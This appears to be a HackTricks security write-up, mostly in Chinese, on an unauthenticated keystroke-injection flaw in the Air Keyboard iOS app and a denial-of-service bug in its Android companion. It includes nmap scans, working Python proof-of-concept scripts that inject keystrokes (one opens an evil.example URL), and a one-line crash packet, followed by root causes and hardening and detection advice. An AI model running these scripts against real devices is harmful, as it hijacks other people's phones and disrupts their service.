Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

TL;DR

iOS 版本的商业 “Air Keyboard” 应用程序 (App Store ID 6463187929) 暴露了一个本地网络服务,该服务 接受无任何身份验证或来源验证的按键帧。根据安装的版本,该服务为:

  • ≤ 1.0.4 – 原始 TCP 监听器在 port 8888 上,期待一个 2 字节长度的头部,后跟 device-id 和 ASCII 负载。
  • ≥ 1.0.5 (June 2025)WebSocket 监听器在 同一 端口 (8888) 上,解析 JSON 键,例如 {"type":1,"text":"…"}

因此,任何在同一 Wi-Fi / 子网中的设备都可以 向受害者的手机注入任意键盘输入,实现完全的远程交互劫持。 一个配套的 Android 版本监听 port 55535。它执行一个弱 AES-ECB 握手,但构造的垃圾数据仍会导致 OpenSSL 内部未处理的异常,崩溃后台服务 (DoS)。

该漏洞在撰写时 仍未修补(July 2025),该应用程序仍可在 App Store 中获取。


1. Service Discovery

扫描本地网络,寻找应用程序使用的两个固定端口:

bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

在Android手机上,您可以在本地识别负责的包:

bash
adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID → package name

越狱的 iOS上,你可以使用 lsof -i -nP | grep LISTEN | grep 8888 做类似的事情。


2. 协议细节 (iOS)

2.1 旧版 (≤ 1.0.4) – 自定义二进制帧

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

声明的 length 包括 device_id 字节 但不 包括两个字节的头部本身。

2.2 当前 (≥ 1.0.5) – JSON over WebSocket

版本 1.0.5 在保持端口号不变的情况下默默迁移到 WebSockets。一个最小的按键看起来像:

json
{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}

不需要握手、令牌或签名 - 第一个 JSON 对象已经触发了 UI 事件。


3. 利用 PoC

3.1 针对 ≤ 1.0.4 (原始 TCP)

python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)

3.2 目标 ≥ 1.0.5 (WebSocket)

python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")

任何可打印的 ASCII 字符 — 包括换行符、制表符和大多数特殊键 — 都可以被发送,从而赋予攻击者与物理用户输入相同的能力:启动应用程序、发送即时消息、打开恶意 URL、切换设置等。


4. Android Companion – Denial-of-Service

Android 端口 (55535) 期望一个 用硬编码的 AES-128-ECB 密钥加密的 4 字符密码,后面跟着一个随机的 nonce。解析错误会冒泡到 AES_decrypt(),并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到进程重新启动。

python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. 相关应用 – 重复出现的反模式

Air Keyboard 并不是一个孤立的案例。其他移动“远程键盘/鼠标”工具也存在同样的缺陷:

  • Telepad ≤ 1.0.7 – CVE-2022-45477/78 允许未经身份验证的命令执行和明文键盘记录。
  • PC Keyboard ≤ 30 – CVE-2022-45479/80 未经身份验证的 RCE 和流量嗅探。
  • Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 默认无密码、弱 PIN 暴力破解和明文泄露。

这些案例突显了对 移动应用网络攻击面 的系统性忽视。


6. 根本原因

  1. 对传入帧没有来源/完整性检查(iOS)。
  2. 密码学误用(静态密钥、ECB、缺少长度验证)和 缺乏异常处理(Android)。
  3. 用户授予的本地网络权限 ≠ 安全 – iOS 请求运行时同意 LAN 流量,但这并不能替代适当的身份验证。

7. 加固与防御措施

开发者建议:

  • 将监听器绑定到 127.0.0.1,并在需要远程控制时通过 mTLSNoise XX 隧道。
  • 在入职时 派生每个设备的秘密(例如,二维码或配对 PIN),并在处理输入之前强制 双向 身份验证。
  • 采用 Apple Network Framework,使用 NWListener + TLS,而不是原始套接字。
  • 在解密或解码帧时实施 长度前缀的合理性检查 和结构化异常处理。

蓝队/红队快速胜利:

  • 网络侦查: sudo nmap -n -p 8888,55535 --open 192.168.0.0/16 或 Wireshark 过滤器 tcp.port == 8888
  • 运行时检查: Frida 脚本钩住 socket()/NWConnection 列出意外的监听器。
  • iOS 应用隐私报告(设置 ▸ 隐私与安全 ▸ 应用隐私报告) 突出显示与 LAN 地址联系的应用 – 有助于发现恶意服务。
  • 移动 EDR 可以为端口 8888 上明文 TCP 有效负载中的 JSON 键 "selectionStart""selectionEnd" 添加简单的 Yara-L 规则。

检测备忘单(渗透测试者)

bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks